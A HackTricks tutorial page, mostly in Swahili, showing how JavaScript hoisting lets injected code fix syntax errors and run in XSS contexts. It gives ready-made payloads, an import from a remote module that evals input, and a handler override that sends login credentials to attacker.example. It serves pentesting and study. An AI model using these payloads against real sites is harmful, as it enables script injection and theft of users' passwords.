JS Hoisting
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Taarifa za Msingi
Katika lugha ya JavaScript, kuna mbinu inayojulikana kama Hoisting ambapo tamko la variables, functions, classes, au imports kwa dhana linainuliwa hadi juu ya scope yao kabla ya code kutekelezwa. Mchakato huu unafanywa kwa automatisms na engine ya JavaScript, ambayo inapitia script kwa pass kadhaa.
Wakati wa pass ya kwanza, engine inachambua code ili kukagua makosa ya syntax na kuibadilisha kuwa abstract syntax tree. Awamu hii inajumuisha hoisting, mchakato ambapo tamko fulani yanahamishwa hadi juu ya execution context. Ikiwa awamu ya parsing itafanikiwa, ikibainisha hakuna makosa ya syntax, utekelezaji wa script unaendelea.
Ni muhimu kuelewa kwamba:
- Script lazima iwe haina makosa ya syntax ili utekelezaji ufanyike. Sheria za syntax lazima zizingatiwe kwa uangalifu.
- Msimamo wa code ndani ya script huathiri utekelezaji kutokana na hoisting, ingawa code inayotekelezwa inaweza kutofautiana na uwakilishi wake wa kifungu (textual representation).
Aina za Hoisting
Kulingana na taarifa kutoka MDN, kuna aina nne tofauti za hoisting katika JavaScript:
- Value Hoisting: Inaruhusu kutumia thamani ya variable ndani ya scope yake kabla ya mstari wake wa utangulizi.
- Declaration Hoisting: Inaruhusu kurejelea variable ndani ya scope yake kabla ya utangulizi bila kusababisha
ReferenceError, lakini thamani ya variable itakuwaundefined. - Aina hii hubadilisha tabia ndani ya scope yake kutokana na tamko la variable kabla ya mstari wake halisi wa utangulizi.
- Madhara ya upande wa tamko yanatokea kabla ya sehemu nyingine za code zinazojumuisha tamko hilo kutathminiwa.
Kwa undani, function declarations zinaonyesha tabia ya hoisting ya aina ya 1. Neno la ufunguo var linaonyesha tabia ya aina ya 2. Declaration za lexical, ambazo zinajumuisha let, const, na class, zinaonyesha tabia ya aina ya 3. Mwisho, tamko za import ni za kipekee kwa kuwa zinapandishwa (hoisted) kwa tabia za aina 1 na aina 4.
Matukio
Kwa hivyo, ikiwa una matukio ambapo unaweza Inject JS code after an undeclared object imetumika, unaweza fix the syntax kwa kuitangaza (hivyo code yako itatekelezwa badala ya kutoa kosa):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
Matukio Mengine
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()
Hoisting ili kuzunguka exception handling
Wakati sink imefungwa ndani ya try { x.y(...) } catch { ... }, ReferenceError itasimamisha utekelezaji kabla payload yako haijaendeshwa. Unaweza kutangaza awali kitambulisho kilichokosekana ili mwito uendelee na injected expression yako itekelezwe kwanza:
// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)
// Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //
function x(){} inahamishwa (hoisted) kabla ya tathmini, kwa hivyo parser haitoi kosa tena kwa x.y(...); prompt() inatekelezwa kabla y hajetatuliwa, kisha TypeError inatupwa baada ya msimbo wako kuendesha.
Zuia tamko za baadaye kwa kufunga jina kwa const
Ikiwa unaweza kuendesha kabla ya kiwango-juu cha function foo(){...} kusomwa, kutangaza binding ya leksikali yenye jina hilo (kwa mfano, const foo = ...) kutaizuia tamko la function la baadaye kushikilia tena kiitambulisho hicho. Hii inaweza kutumiwa vibaya katika RXSS kukamata handlers muhimu zilizofafanuliwa baadaye kwenye ukurasa:
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
Vidokezo
- Hii inategemea mpangilio wa utekelezaji na global (top-level) scope.
- Ikiwa payload yako inatekelezwa ndani ya
eval(), kumbuka kwambaconst/letndani yaevalni block-scoped na hazitaunda global bindings. Inject element mpya ya<script>yenye code ili kusanidi kweli globalconst.
Dynamic import() with user-controlled specifiers
Server-side rendered apps mara nyingi hupeleka input ya mtumiaji ndani ya import() ili lazy-load components. Ikiwa loader kama import-in-the-middle ipo, wrapper modules zinaundwa kutoka kwa specifier. Hoisted import evaluation inachukua na kutekeleza module inayodhibitiwa na mshambuliaji kabla ya mistari iliyofuata kutekelezwa, ikiruhusu RCE katika muktadha wa SSR (ona CVE-2023-38704).
Zana
Scanners za kisasa zimeanza kuongeza hoisting payloads waziwazi. KNOXSS v3.6.5 inaorodhesha “JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting” na “Hoisting Override” test cases; kuendesha dhidi ya RXSS contexts zinazotoa ReferenceError/TypeError huibua haraka kandida za gadget zenye msingi wa hoist.
Marejeo
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- XSS Exception Bypass using Hoisting (ch4n3, 2023)
- KNOXSS coverage – hoisting override cases
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


